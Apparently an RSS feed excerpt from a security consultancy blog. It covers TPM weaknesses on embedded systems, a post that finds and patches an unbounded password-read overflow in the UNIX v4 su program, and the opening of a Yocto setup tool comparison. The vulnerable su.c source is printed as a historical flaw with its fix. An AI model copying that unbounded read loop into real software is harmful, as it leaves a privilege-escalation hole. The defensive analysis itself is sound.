This is a huge problem if malicious code is executed on a running
system. If it gains enough privileges it can interact with the
TPM to have it decrypt secrets.</p>
<p>If a TPM key is sealed to specific PCR values, a malicious process
can gain access by resetting the TPM and replaying a legitimate
boot process.</p>
<p>This highlights the need to secure the entire boot chain using
<em>measured boot</em> and <em>verified boot</em>. However, these do not
cover any runtime issues after the system successfully booted.
For this, additional Kernel features like IMA/EVM are needed.</p>
<p>On embedded Arm-based systems, measured boot often begins after
the SoC&rsquo;s boot-ROM and the initial bootloader, which is why
SoC-specific features like NXP&rsquo;s HAB are essential to secure the
lowest levels of the boot chain.</p>
<p>For secret storage, a robust hardening measure is to lock the
TPM key to PCRs that change once the key is no longer needed.
Once the disk is mounted in the initrd, an additional measurement
can be made to change a PCR value, making the sealed key unusable
until the next boot.</p>
<p>In general, a TPM cannot fully mitigate any code execution flaw
on your platform. Once an attacker controls the OS kernel,
they can often extract secrets already in memory or copy data
from mounted, unencrypted disks. Therefore, additional
in-depth hardening (e.g., AppArmor, SELinux), a clear
concept of least privilege per process and hardening
of backend infrastructure are crucial.</p>
<h3 id="hardware-flaws">Hardware Flaws</h3>
<p>TPM chips from various vendors have had hardware flaws in the past. One prime
example is the ROCA vulnerability<sup id="fnref:10"><a href="#fn:10" class="footnote-ref" role="doc-noteref">10</a></sup> (CVE-2017-15361) affecting
millions of Infineon TPM chips which produced weak RSA keys. Vulnerabilities
like these become even more problematic with longer product lifetimes.
If the security of a product is solely based on the TPM chip, a flaw in
it can be catastrophic.</p>
<p>Therefore, additional hardening measures are needed to reduce the impact of
malicious code execution (e.g. reduced privileges, SELinux) or key extraction
(e.g. unique keys per device). Furthermore, any backend infrastructure should
be hardened such that a single compromised device cannot impact the operation
of other devices.</p>
<h3 id="software-based-tpm-issues">Software-based TPM Issues</h3>
<p>On Intel and AMD hardware, fTPMs have become more known at least since
Windows 11 requires a TPM to operate. These solutions implement a TPM
in software, running within a Trusted Execution Environment (TEE) on the CPU.
This has the advantage of removing any physical bus that can be snooped or
tampered with. On the other hand, fTPMs are still vulnerable to various
kinds of side-channel attacks, such as timing leaks, as the vulnerability
dubbed TPM-FAIL has shown<sup id="fnref:11"><a href="#fn:11" class="footnote-ref" role="doc-noteref">11</a></sup>.</p>
<p>These trusted execution environments are vulnerable as well. Any
flaw in the TEE can result in a full compromise of the TPM keys, breaking
all security guarantees. This includes insecure key storage. While
the TEEs are designed to keep the execution state safe,
it also requires a secure way to persist secrets (e.g., TPM key
hierarchy seeds) across reboots. A prime example is the faulTPM
flaw on some AMD CPUs<sup id="fnref:12"><a href="#fn:12" class="footnote-ref" role="doc-noteref">12</a></sup>.</p>
<p>On Arm-based embedded devices, the main way to implement an fTPM is by
utilizing Arm TrustZone technology and something like OP-TEE&rsquo;s fTPM<sup id="fnref:13"><a href="#fn:13" class="footnote-ref" role="doc-noteref">13</a></sup>.
Any flaw in the TrustZone implementation can be a problem, including
memory protection issues that leak keys the fTPM holds in memory<sup id="fnref:14"><a href="#fn:14" class="footnote-ref" role="doc-noteref">14</a></sup>.</p>
<p>When using OP-TEE, it is also essential to properly configure the storage
layer and ensure that it has a secure way to derive a storage encryption
key that cannot be accessed outside of the TEE. SoCs with upstream
OP-TEE support often already have this, but vendors sometimes ship
forks that do not. When using storage backed by eMMC RPMB
(Replay Protected Memory Block), the key must be properly set up
and configured. Hard-coding the RPMB key in the OP-TEE binary is
a particularly bad idea.</p>
<h3 id="cold-boot-attacks">Cold Boot Attacks</h3>
<p>While not a direct TPM problem, cold boot attacks are a critical
consideration when designing a system that uses a TPM for secret storage.
Although a physical TPM provides protection for its internal memory, the
problem lies with the main system memory once the TPM has unsealed and
returned a secret to the host. A prime example is disk encryption, where
the encryption key resides in the volatile main memory for the entire
duration of the system&rsquo;s uptime. It is essential to ensure proper mitigations
against cold boot attacks to avoid leaking secrets this way.</p>
<h3 id="performance">Performance</h3>
<p>Not specific to embedded systems, but often overlooked: a TPM is slow.
Therefore, offloading cryptography-heavy protocols like TLS to the TPM
is unfeasible. It can, however, still be used to keep long-term keys
secure and perform less timing-critical operations during a protocol
handshake.</p>
<p>One more thing to keep in mind is that with TPM 2.0, root keys are not
stored directly but derived from seeds. This key derivation can be
computationally expensive. Consequently, using a RSA key can cause
more significant delays than an ECC key due to the mathematical
operations involved.</p>
<h3 id="tpm-firmware-updates">TPM Firmware Updates</h3>
<p>It is common knowledge now that delivering security updates is crucial to keeping
devices secure over their whole lifetime. It is important to remember that TPM chips
also contain firmware that needs to be updated. On a regular PC, this is handled
through UEFI or Windows. However, on an embedded device, it is the responsibility
of the producer to keep the TPM firmware up to date. This is critical, especially
when a vulnerability like TPM-FAIL (CVE-2019-16863) occurs, as it requires the
ability to update your TPM to patch the flaw.</p>
<h2 id="summary">Summary</h2>
<p>A TPM chip can help to implement state-of-the-art security mechanisms,
but it&rsquo;s not a silver bullet that will make things inherently secure.
To utilize a TPM correctly, it is crucial to have a well-defined threat model.
This model must clearly specify the role of the TPM and the kind of attacks it is intended to protect against.
Especially when used on an embedded system, the lack of human interaction must be considered when designing protection against certain threats.</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://trustedcomputinggroup.org/resource/tpm-library-specification/">https://trustedcomputinggroup.org/resource/tpm-library-specification/</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>A TPM has a small amount of internal non-volatile storage, but this is
primarily used for persistent objects like the Endorsement Key (EK) and the Storage Root Key (SRK).
Due to its limited size, it is not used for general secret storage.&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>The TPM 2.0 specification requires a minimum of 24 PCRs. PCRs 0-15 are defined as
static and are typically reset upon a TPM restart. PCRs 16-23 are dynamic and may have a different
reset behavior based on their purpose. For measured boot only PCRs 0-15 are commonly used.&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p><a href="https://www.youtube.com/watch?app=desktop&amp;v=eJihjE1zb1M">https://www.youtube.com/watch?app=desktop&v=eJihjE1zb1M</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p><a href="https://arstechnica.com/gadgets/2021/08/how-to-go-from-stolen-pc-to-network-intrusion-in-30-minutes/">https://arstechnica.com/gadgets/2021/08/how-to-go-from-stolen-pc-to-network-intrusion-in-30-minutes/</a>, <a href="https://github.com/nccgroup/TPMGenie">https://github.com/nccgroup/TPMGenie</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:6">
<p><a href="https://cybersecurity.bureauveritas.com/blog/tpm-sniffing-attacks-against-non-bitlocker-targets">https://cybersecurity.bureauveritas.com/blog/tpm-sniffing-attacks-against-non-bitlocker-targets</a>&#160;<a href="#fnref:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:7">
<p><a href="https://fosdem.org/2025/schedule/event/fosdem-2025-4827-recent-tpm-security-enhancements-to-the-linux-kernel/">https://fosdem.org/2025/schedule/event/fosdem-2025-4827-recent-tpm-security-enhancements-to-the-linux-kernel/</a>&#160;<a href="#fnref:7" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:8">
<p><a href="https://docs.kernel.org/security/tpm/tpm-security.html">https://docs.kernel.org/security/tpm/tpm-security.html</a>&#160;<a href="#fnref:8" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:9">
<p><a href="https://en.wikipedia.org/wiki/ISO/IEC_19790">https://en.wikipedia.org/wiki/ISO/IEC_19790</a>&#160;<a href="#fnref:9" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:10">
<p><a href="https://blog.cr.yp.to/20171105-infineon.html">https://blog.cr.yp.to/20171105-infineon.html</a>&#160;<a href="#fnref:10" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:11">
<p><a href="https://tpm.fail/tpmfail.pdf">https://tpm.fail/tpmfail.pdf</a>&#160;<a href="#fnref:11" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:12">
<p><a href="https://arxiv.org/abs/2304.14717">https://arxiv.org/abs/2304.14717</a>&#160;<a href="#fnref:12" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:13">
<p><a href="https://github.com/OP-TEE/optee_ftpm">https://github.com/OP-TEE/optee_ftpm</a>&#160;<a href="#fnref:13" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:14">
<p><a href="https://link.springer.com/article/10.1007/s11416-021-00413-y">https://link.springer.com/article/10.1007/s11416-021-00413-y</a>&#160;<a href="#fnref:14" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>Fixing a Buffer Overflow in UNIX v4 Like It's 1973</title><link>https://sigma-star.at/blog/2025/12/unix-v4-buffer-overflow/</link><pubDate>Wed, 31 Dec 2025 00:00:00 +0100</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2025/12/unix-v4-buffer-overflow/</guid><description><![CDATA[<h1 id="fixing-a-buffer-overflow-in-unix-v4-like-its-1973">Fixing a Buffer Overflow in UNIX v4 Like It&rsquo;s 1973</h1>
<h2 id="introduction">Introduction</h2>
<p>In 2025, the only known copy of UNIX v4 surfaced on a magnetic tape<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>.
This version marks a pivotal moment in computer history: the rewriting of UNIX into C.
Enthusiasts quickly recovered the data and successfully ran the system on a PDP-11 simulator<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>.</p>
<p>Fascinated by this artifact, I set up an instance to explore it.
Because the distribution includes the source code, I examined the implementation of several core utilities.
While auditing the <code>su(1)</code> program, I identified a bug. Let&rsquo;s fix it.</p>]]></description><content:encoded><![CDATA[<h1 id="fixing-a-buffer-overflow-in-unix-v4-like-its-1973">Fixing a Buffer Overflow in UNIX v4 Like It&rsquo;s 1973</h1>
<h2 id="introduction">Introduction</h2>
<p>In 2025, the only known copy of UNIX v4 surfaced on a magnetic tape<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>.
This version marks a pivotal moment in computer history: the rewriting of UNIX into C.
Enthusiasts quickly recovered the data and successfully ran the system on a PDP-11 simulator<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>.</p>
<p>Fascinated by this artifact, I set up an instance to explore it.
Because the distribution includes the source code, I examined the implementation of several core utilities.
While auditing the <code>su(1)</code> program, I identified a bug. Let&rsquo;s fix it.</p>
<h2 id="the-unix-v4-su1-program">The UNIX v4 su(1) program</h2>
<p>Although more than 50 years old, the <code>su</code> program functions similarly to its modern variant.
As a setuid-root executable, it validates the root password.
If the user provides the correct credentials, the program spawns a root shell, allowing an unprivileged user to escalate privileges.</p>
<p>The source file, <code>su.c</code>, contains fewer than 50 lines of code.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C" data-lang="C"><span class="line"><span class="cl"><span class="cm">/* su -- become super-user */</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">char</span>    <span class="n">password</span><span class="p">[</span><span class="mi">100</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="kt">char</span>    <span class="n">pwbuf</span><span class="p">[</span><span class="mi">100</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="kt">int</span>     <span class="n">ttybuf</span><span class="p">[</span><span class="mi">3</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="nf">main</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">register</span> <span class="kt">char</span> <span class="o">*</span><span class="n">p</span><span class="p">,</span> <span class="o">*</span><span class="n">q</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">extern</span> <span class="n">fin</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="nf">getpw</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">pwbuf</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">                <span class="k">goto</span> <span class="n">badpw</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">(</span><span class="o">&amp;</span><span class="n">fin</span><span class="p">)[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="n">p</span> <span class="o">=</span> <span class="n">pwbuf</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">while</span><span class="p">(</span><span class="o">*</span><span class="n">p</span> <span class="o">!=</span> <span class="sc">&#39;:&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="k">if</span><span class="p">(</span><span class="o">*</span><span class="n">p</span><span class="o">++</span> <span class="o">==</span> <span class="sc">&#39;\0&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                        <span class="k">goto</span> <span class="n">badpw</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="o">*++</span><span class="n">p</span> <span class="o">==</span> <span class="sc">&#39;:&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="k">goto</span> <span class="n">ok</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="nf">gtty</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">ttybuf</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">ttybuf</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=&amp;</span> <span class="o">~</span><span class="mo">010</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="nf">stty</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">ttybuf</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;password: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">q</span> <span class="o">=</span> <span class="n">password</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">while</span><span class="p">((</span><span class="o">*</span><span class="n">q</span> <span class="o">=</span> <span class="nf">getchar</span><span class="p">())</span> <span class="o">!=</span> <span class="sc">&#39;\n&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="k">if</span><span class="p">(</span><span class="o">*</span><span class="n">q</span><span class="o">++</span> <span class="o">==</span> <span class="sc">&#39;\0&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                        <span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="o">*</span><span class="n">q</span> <span class="o">=</span> <span class="sc">&#39;\0&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="n">ttybuf</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=|</span> <span class="mo">010</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="nf">stty</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">ttybuf</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">q</span> <span class="o">=</span> <span class="nf">crypt</span><span class="p">(</span><span class="n">password</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">while</span><span class="p">(</span><span class="o">*</span><span class="n">q</span><span class="o">++</span> <span class="o">==</span> <span class="o">*</span><span class="n">p</span><span class="o">++</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="o">*--</span><span class="n">q</span> <span class="o">==</span> <span class="sc">&#39;\0&#39;</span> <span class="o">&amp;&amp;</span> <span class="o">*--</span><span class="n">p</span> <span class="o">==</span> <span class="sc">&#39;:&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="k">goto</span> <span class="n">ok</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">goto</span> <span class="n">error</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nl">badpw</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;bad password file</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nl">ok</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nf">setuid</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">execl</span><span class="p">(</span><span class="s">&#34;/bin/sh&#34;</span><span class="p">,</span> <span class="s">&#34;-&#34;</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;cannot execute shell</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nl">error</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;sorry</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>In short, the program executes the following steps:</p>
<ol>
<li>It calls <code>getpw()</code> to retrieve the passwd entry for the root user (UID 0) from <code>/etc/passwd</code>. Surprisingly, if the read fails or the line format is incorrect, <code>su</code> continues execution rather than aborting. While unusual, this likely acts as a safeguard to ensure <code>su</code> remains usable on a partially corrupted system. This is a security issue on its own because an unprivileged user could consume enough resources to make the <code>getpw()</code> call fail. Ron Natalie pointed<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> out that this attack vector was known at the time.</li>
<li>It disables the TTY echo mode and prompts the user for a password.</li>
<li>It reads byte-by-byte from the TTY into a buffer until it encounters a newline or <code>NUL</code> character, <code>NUL</code> causes the program to exit immediately.</li>
<li>Once reading is complete, it re-enables echo mode, hashes the input using the <code>crypt()</code> library function, and compares the result with the stored hash.</li>
<li>If the hashes match, it spawns a shell, otherwise, it terminates.</li>
</ol>
<p>The logic is standard, except for one critical flaw: the <code>password</code> buffer has a fixed size of <code>100</code> bytes, yet the input loop lacks a bounds check.
If a user enters more than <code>100</code> characters, a buffer overflow occurs.</p>
<p>I confirmed this behavior by testing with a long input string, which successfully crashed the program.
Not all long strings trigger a core dump.
The outcome depends on which area of adjacent memory is overwritten, sometimes, <code>su</code> simply exits.</p>
<pre tabindex="0"><code># su
password:&lt;long input&gt;Memory fault -- Core dumped
</code></pre><p>Note: Because <code>su</code> disables TTY echo mode, a crash prevents the terminal from displaying subsequent input.
To restore visibility, type <code>stty echo</code> blindly and press Enter.</p>
<h2 id="fixing-su1">Fixing su(1)</h2>
<p>UNIX traditionally includes the source code necessary for self-recompilation, and v4 is no exception.
This allows us to patch and compile <code>su</code> directly on the system.
In 1973, editor options were sparse. Neither <code>vi</code> nor <code>emacs</code> had been invented yet.
However, the system provides <code>ed</code>, a line-oriented text editor designed for teletype terminals where output was printed on paper rather than displayed on a screen.
<code>ed</code> allows us to list, delete, and append lines, which is sufficient for our needs.</p>
<p>We will edit <code>su.c</code> to prevent the overflow by maintaining a counter, <code>i</code>, and verifying it against the buffer size during the read loop.
I initially attempted a fix using pointer arithmetic, but the 1973 C compiler didn&rsquo;t like it, while it didn&rsquo;t refuse the syntax, the code had no effect.
I settled on a simpler index-based check instead.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-diff" data-lang="diff"><span class="line"><span class="cl"><span class="gd">--- a/s2/su.c
</span></span></span><span class="line"><span class="cl"><span class="gd"></span><span class="gi">+++ b/s2/su.c
</span></span></span><span class="line"><span class="cl"><span class="gi"></span><span class="gu">@@ -7,6 +7,7 @@ main()
</span></span></span><span class="line"><span class="cl"><span class="gu"></span> {
</span></span><span class="line"><span class="cl">        register char *p, *q;
</span></span><span class="line"><span class="cl">        extern fin;
</span></span><span class="line"><span class="cl"><span class="gi">+       register int i;
</span></span></span><span class="line"><span class="cl"><span class="gi"></span> 
</span></span><span class="line"><span class="cl">        if(getpw(0, pwbuf))
</span></span><span class="line"><span class="cl">                goto badpw;
</span></span><span class="line"><span class="cl"><span class="gu">@@ -22,9 +23,13 @@ main()
</span></span></span><span class="line"><span class="cl"><span class="gu"></span>        stty(0, ttybuf);
</span></span><span class="line"><span class="cl">        printf(&#34;password: &#34;);
</span></span><span class="line"><span class="cl">        q = password;
</span></span><span class="line"><span class="cl"><span class="gd">-       while((*q = getchar()) != &#39;\n&#39;)
</span></span></span><span class="line"><span class="cl"><span class="gd"></span><span class="gi">+       i = 0;
</span></span></span><span class="line"><span class="cl"><span class="gi">+       while((*q = getchar()) != &#39;\n&#39;) {
</span></span></span><span class="line"><span class="cl"><span class="gi">+               if (++i &gt;= sizeof(password))
</span></span></span><span class="line"><span class="cl"><span class="gi">+                       goto error;
</span></span></span><span class="line"><span class="cl"><span class="gi"></span>                if(*q++ == &#39;\0&#39;)
</span></span><span class="line"><span class="cl">                        return;
</span></span><span class="line"><span class="cl"><span class="gi">+       }
</span></span></span><span class="line"><span class="cl"><span class="gi"></span>        *q = &#39;\0&#39;;
</span></span><span class="line"><span class="cl">        ttybuf[2] =| 010;
</span></span><span class="line"><span class="cl">        stty(0, ttybuf);
</span></span></code></pre></div><pre tabindex="0"><code># chdir /usr/source/s2
# ed su.c
</code></pre><p>Upon launch, <code>ed</code> outputs the file size in bytes and awaits input.
The command <code>i</code> inserts text before the current line, <code>d</code> deletes the line, and <code>p</code> prints it.
Entering a number moves the focus to that specific line, while pressing Return prints the current line&rsquo;s content.</p>
<p>Below is a screen recording of the editing session:</p>
<pre tabindex="0"><code class="language-ed" data-lang="ed">741
8
        register char *p, *q;

        extern fin;
i
        register int i;
.
24
        printf(&#34;password: &#34;);

        q = password;
i
        i = 0;
.
p
        i = 0;

        while((*q = getchar()) != &#39;\n&#39;)
d
i
        while((*q = getchar()) != &#39;\n&#39;) {
.

                if(*q++ == &#39;\0&#39;)
i
                if (++i &gt;= sizeof(password))
                        goto error;
.

                if(*q++ == &#39;\0&#39;)

                        return;

        *q = &#39;\0&#39;;
i
        }
.
w
811
q
</code></pre><p>First, we jump to line <code>8</code> and press Return several times to locate a suitable spot for the variable declaration.
We use <code>i</code> to enter insert mode, add the variable, and then type a single period (<code>.</code>) on a new line to exit insert mode.
The critical change occurs around the while loop: we initialize <code>i</code> and add a boundary check to the loop condition.
Finally, <code>w</code> writes the modified buffer to disk, confirming the file has grown by a few bytes, and <code>q</code> terminates the editor.</p>
<h2 id="building-and-deploying">Building and Deploying</h2>
<p>With the source code patched, we must rebuild the binary.
Since <code>su</code> consists of a single C file, the compilation process is trivial:</p>
<pre tabindex="0"><code># cc su.c
</code></pre><p>The compiler outputs a binary named <code>a.out</code>.
To deploy it, we move the file to <code>/bin/su</code>:</p>
<pre tabindex="0"><code># mv a.out /bin/su
</code></pre><p>However, the installation is incomplete.
Because <code>su</code> requires root privileges to function, we must set the setuid bit and adjust the file permissions:</p>
<pre tabindex="0"><code># ls -l /bin/su
-rwxrwxrwx 1 root     2740 Jun 12 19:58 /bin/su
# chmod 4755 /bin/su
# ls -l /bin/su
-rwsr-xr-x 1 root     2740 Jun 12 19:58 /bin/su
</code></pre><h2 id="summary">Summary</h2>
<p>UNIX v4 is a fascinating gem of computer history.
It feels surprisingly similar to our current systems.
While it lacks modern conveniences, the fundamental logic remains recognizable to anyone with modern UNIX experience.</p>
<p>The ability to fix <code>su</code> so quickly highlights the power of the early UNIX philosophy: shipping the operating system with its full source code and a C compiler.
We patched, compiled, and deployed the fix directly on the system, no external toolchains required.</p>
<p>Finally, this bug reminds us of the era&rsquo;s different priorities.
In the trusted, isolated environments of 1973, security was not the critical concern it is today.
Furthermore, the knowledge that a buffer overflow could be exploited for arbitrary code execution had not yet come of age.</p>
<p>As an exercise for the reader to improve their <code>ed</code> skills, try adding the code to restore TTY echo mode to the overflow detection logic.
This ensures the terminal functions correctly even after the program catches the error.</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://discuss.systems/@ricci/115747843169814700">https://discuss.systems/@ricci/115747843169814700</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="http://squoze.net/UNIX/v4/README">http://squoze.net/UNIX/v4/README</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p><a href="https://www.tuhs.org/pipermail/tuhs/2026-January/032991.html">https://www.tuhs.org/pipermail/tuhs/2026-January/032991.html</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>The Evolving Landscape of Yocto Project Setup: bitbake-setup vs. KAS</title><link>https://sigma-star.at/blog/2025/10/the-evolving-landscape-of-yocto-project-setup-bitbake-setup-vs.-kas/</link><pubDate>Tue, 28 Oct 2025 00:00:00 +0100</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2025/10/the-evolving-landscape-of-yocto-project-setup-bitbake-setup-vs.-kas/</guid><description><![CDATA[<p><em>Full disclosure: As a long-term user and a contributor to KAS, my personal opinions here are inherently biased, though I have kept the technical facts as accurate and objective as possible.</em></p>
<h1 id="the-evolving-landscape-of-yocto-project-setup-bitbake-setup-vs-kas">The Evolving Landscape of Yocto Project Setup: bitbake-setup vs. KAS</h1>
<p>Anyone who has ever used Yocto to create a custom Linux distribution has probably observed that the Yocto Project itself doesn&rsquo;t offer a standardized method for the very first step: fetching all necessary layers and establishing the initial build configuration.
Since 2017, the KAS tool has effectively filled this void.
Today in 2025, KAS boasts a substantial user base and a thriving community.
However, it remains neither an official part of the Yocto Project nor the officially recommended tool for project setup.
Since 2024, the Yocto Project has been developing its own tool, bitbake-setup.
Now, in late 2025, this new tool has begun to materialize.</p>]]></description><content:encoded><![CDATA[<p><em>Full disclosure: As a long-term user and a contributor to KAS, my personal opinions here are inherently biased, though I have kept the technical facts as accurate and objective as possible.</em></p>
<h1 id="the-evolving-landscape-of-yocto-project-setup-bitbake-setup-vs-kas">The Evolving Landscape of Yocto Project Setup: bitbake-setup vs. KAS</h1>
<p>Anyone who has ever used Yocto to create a custom Linux distribution has probably observed that the Yocto Project itself doesn&rsquo;t offer a standardized method for the very first step: fetching all necessary layers and establishing the initial build configuration.
Since 2017, the KAS tool has effectively filled this void.
Today in 2025, KAS boasts a substantial user base and a thriving community.
However, it remains neither an official part of the Yocto Project nor the officially recommended tool for project setup.
Since 2024, the Yocto Project has been developing its own tool, bitbake-setup.
Now, in late 2025, this new tool has begun to materialize.</p>
<p>As Linux consultants, we frequently receive questions from clients regarding the status and future direction of Yocto project setup.
Especially after bitbake-setup became available, we were questioned what will happen to KAS, what to expect from bitbake-setup and so on.
This blog post aims to summarize the current situation and clarify the key differences and implications of using KAS versus bitbake-setup.</p>
<h2 id="kas-origins-and-a-brief-overview">KAS: Origins and a Brief Overview</h2>
<p>Before the emergence of KAS<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> (Bavarian dialect for cheese), Yocto users typically managed layer dependencies using either git submodules or the repo<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> tool.
This approach often relied on a collection of shell scripts to generate fundamental configuration files like <code>bblayers.conf</code> and <code>local.conf</code>.
This process was frequently cumbersome and highly error-prone.</p>
<p>Engineers at Siemens recognized this lack of standardization as a risk to the quality of their build infrastructure and began to look for a solution.
This effort led to the initial concepts behind KAS.
The core principle behind KAS is to describe a Yocto project in a YAML configuration file to enable deterministic builds.
The goal is simple: regardless of where you run the build, the output should be identical.
KAS carefully controls the build environment, ensuring that no environment variables from the host system are inherited into the build unless explicitly specified within the KAS configuration file.
Crucially, KAS works as an external tool with Yocto.
Although it essentially wraps the standard Yocto process into a deterministic environment and generates all necessary configuration files, Yocto does not need to be aware of KAS in any way.</p>
<p>In addition to its core functionality, KAS also provides a wrapper script, <code>kas-container</code>, which allows developers to execute the entire project setup and build process inside a container using Docker or Podman.
This containerization offers excellent isolation from the host system. By default, the KAS build container uses a minimal Debian Linux installation with only the host dependencies strictly required by the Yocto Project installed. This ensures that every build runs within a fully deterministic environment, further strengthening KAS&rsquo;s promise of reproducible results.</p>
<p>Here is an example of a typical KAS configuration file:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-yml" data-lang="yml"><span class="line"><span class="cl"><span class="nt">header</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">version</span><span class="p">:</span><span class="w"> </span><span class="m">14</span><span class="w">
